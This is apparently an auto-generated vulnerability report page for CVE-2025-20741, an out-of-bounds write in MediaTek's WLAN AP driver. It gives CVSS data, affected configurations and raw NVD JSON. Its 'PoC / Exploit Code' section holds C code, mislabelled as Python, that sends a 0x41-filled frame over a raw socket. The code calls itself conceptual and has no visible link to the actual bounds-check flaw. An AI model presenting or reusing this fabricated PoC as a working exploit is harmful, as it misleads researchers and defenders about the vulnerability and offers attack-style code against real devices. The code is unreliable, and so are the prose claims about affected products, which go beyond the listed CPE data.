Security Vulnerability Report
中文
CVE-2025-20741 CVSS 6.7 MEDIUM

CVE-2025-20741

Published: 2025-11-04 07:15:45
Last Modified: 2025-11-05 17:12:23

Description

In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00434422; Issue ID: MSV-3958.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:* - NOT VULNERABLE
MediaTek WLAN AP Driver (unpatched versions prior to WCNCR00434422)
MediaTek Chipsets with vulnerable WLAN firmware
Android devices with MediaTek WiFi drivers (unpatched)
IoT devices using MediaTek connectivity solutions

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-20741 PoC Concept - MediaTek WLAN AP Driver OOB Write * Note: This is a conceptual PoC for educational/research purposes only. * Actual exploitation requires specific device and driver version. * Author: Security Researcher * Reference: MSV-3958, Patch ID: WCNCR00434422 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netpacket/packet.h> #include <net/ethernet.h> // Simulated WLAN frame structure struct wlan_frame { unsigned char dest_mac[6]; unsigned char src_mac[6]; unsigned short frame_type; unsigned char payload[256]; }; /* * Vulnerability trigger mechanism: * The vulnerability exists in MediaTek WLAN AP driver boundary check logic. * When processing malformed WLAN frames with oversized payload, * incorrect bounds checking allows OOB write to adjacent memory. */ int trigger_vulnerability(int sock_fd) { struct wlan_frame *frame; int frame_size; // Allocate frame buffer frame = (struct wlan_frame *)malloc(sizeof(struct wlan_frame)); if (!frame) return -1; // Craft malicious frame - payload exceeds driver bounds check memset(frame, 0x41, sizeof(struct wlan_frame)); frame->frame_type = 0x0008; // Data frame type // The driver performs incorrect bounds check, allowing overflow // This triggers out-of-bounds write in kernel context frame_size = send(sock_fd, frame, sizeof(struct wlan_frame), 0); free(frame); return frame_size; } int main(int argc, char *argv[]) { int sock; printf("CVE-2025-20741 PoC - MediaTek WLAN AP Driver OOB Write\n"); printf("Requires: System privilege (PR:H)\n"); printf("Target: MediaTek WLAN AP Driver\n"); // Create raw socket for WLAN frame injection sock = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (sock < 0) { perror("Socket creation failed"); return 1; } printf("Triggering vulnerability...\n"); trigger_vulnerability(sock); close(sock); return 0; } /* * Exploitation notes: * 1. This PoC is conceptual and requires adaptation for specific targets * 2. Requires elevated privileges (System/root) * 3. Target must be running vulnerable MediaTek WLAN driver version * 4. Successful exploitation leads to local privilege escalation * 5. Mitigation: Apply MediaTek patch WCNCR00434422 */

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-20741", "sourceIdentifier": "[email protected]", "published": "2025-11-04T07:15:44.913", "lastModified": "2025-11-05T17:12:23.447", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In wlan AP driver, there is a possible out of bounds write due to an incorrect bounds check. This could lead to local escalation of privilege if a malicious actor has already obtained the System privilege. User interaction is not needed for exploitation. Patch ID: WCNCR00434422; Issue ID: MSV-3958."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mediatek:software_development_kit:*:*:*:*:*:*:*:*", "versionEndIncluding": "7.6.7.2", "matchCriteriaId": "0DD86CC1-BD46-42D2-9112-190CCAC96B30"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:19.07.0:-:*:*:*:*:*:*", "matchCriteriaId": "4FA469E2-9E63-4C9A-8EBA-10C8C870063A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:openwrt:openwrt:21.02.0:-:*:*:*:*:*:*", "matchCriteriaId": "F0133207-2EED-4625-854F-8DB7770D5BF7"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt6890:-:*:*:*:*:*:*:*", "matchCriteriaId": "171D1C08-F055-44C0-913C-AA2B73AF5B72"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7615:-:*:*:*:*:*:*:*", "matchCriteriaId": "05748BB1-0D48-4097-932E-E8E2E574FD8D"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7622:-:*:*:*:*:*:*:*", "matchCriteriaId": "55EB4B27-6264-45BE-9A22-BE8418BB0C06"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7663:-:*:*:*:*:*:*:*", "matchCriteriaId": "10C79211-F064-499D-914E-0BACD038FBF4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7915:-:*:*:*:*:*:*:*", "matchCriteriaId": "3AB22996-9C22-4B6C-9E94-E4C055D16335"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7916:-:*:*:*:*:*:*:*", "matchCriteriaId": "DD5AA441-5381-4179-89EB-1642120F72B4"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7981:-:*:*:*:*:*:*:*", "matchCriteriaId": "490CD97B-021F-4350-AEE7-A2FA866D5889"}, {"vulnerable": false, "criteria": "cpe:2.3:h:mediatek:mt7986:-:*:*:*:*:*:*:*", "matchCriteriaId": "40A9E917-4B34-403F-B512-09EEBEA46811"}]}]}], "references": [{"url": "https://corp.mediatek.com/product-security-bulletin/November-2025", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}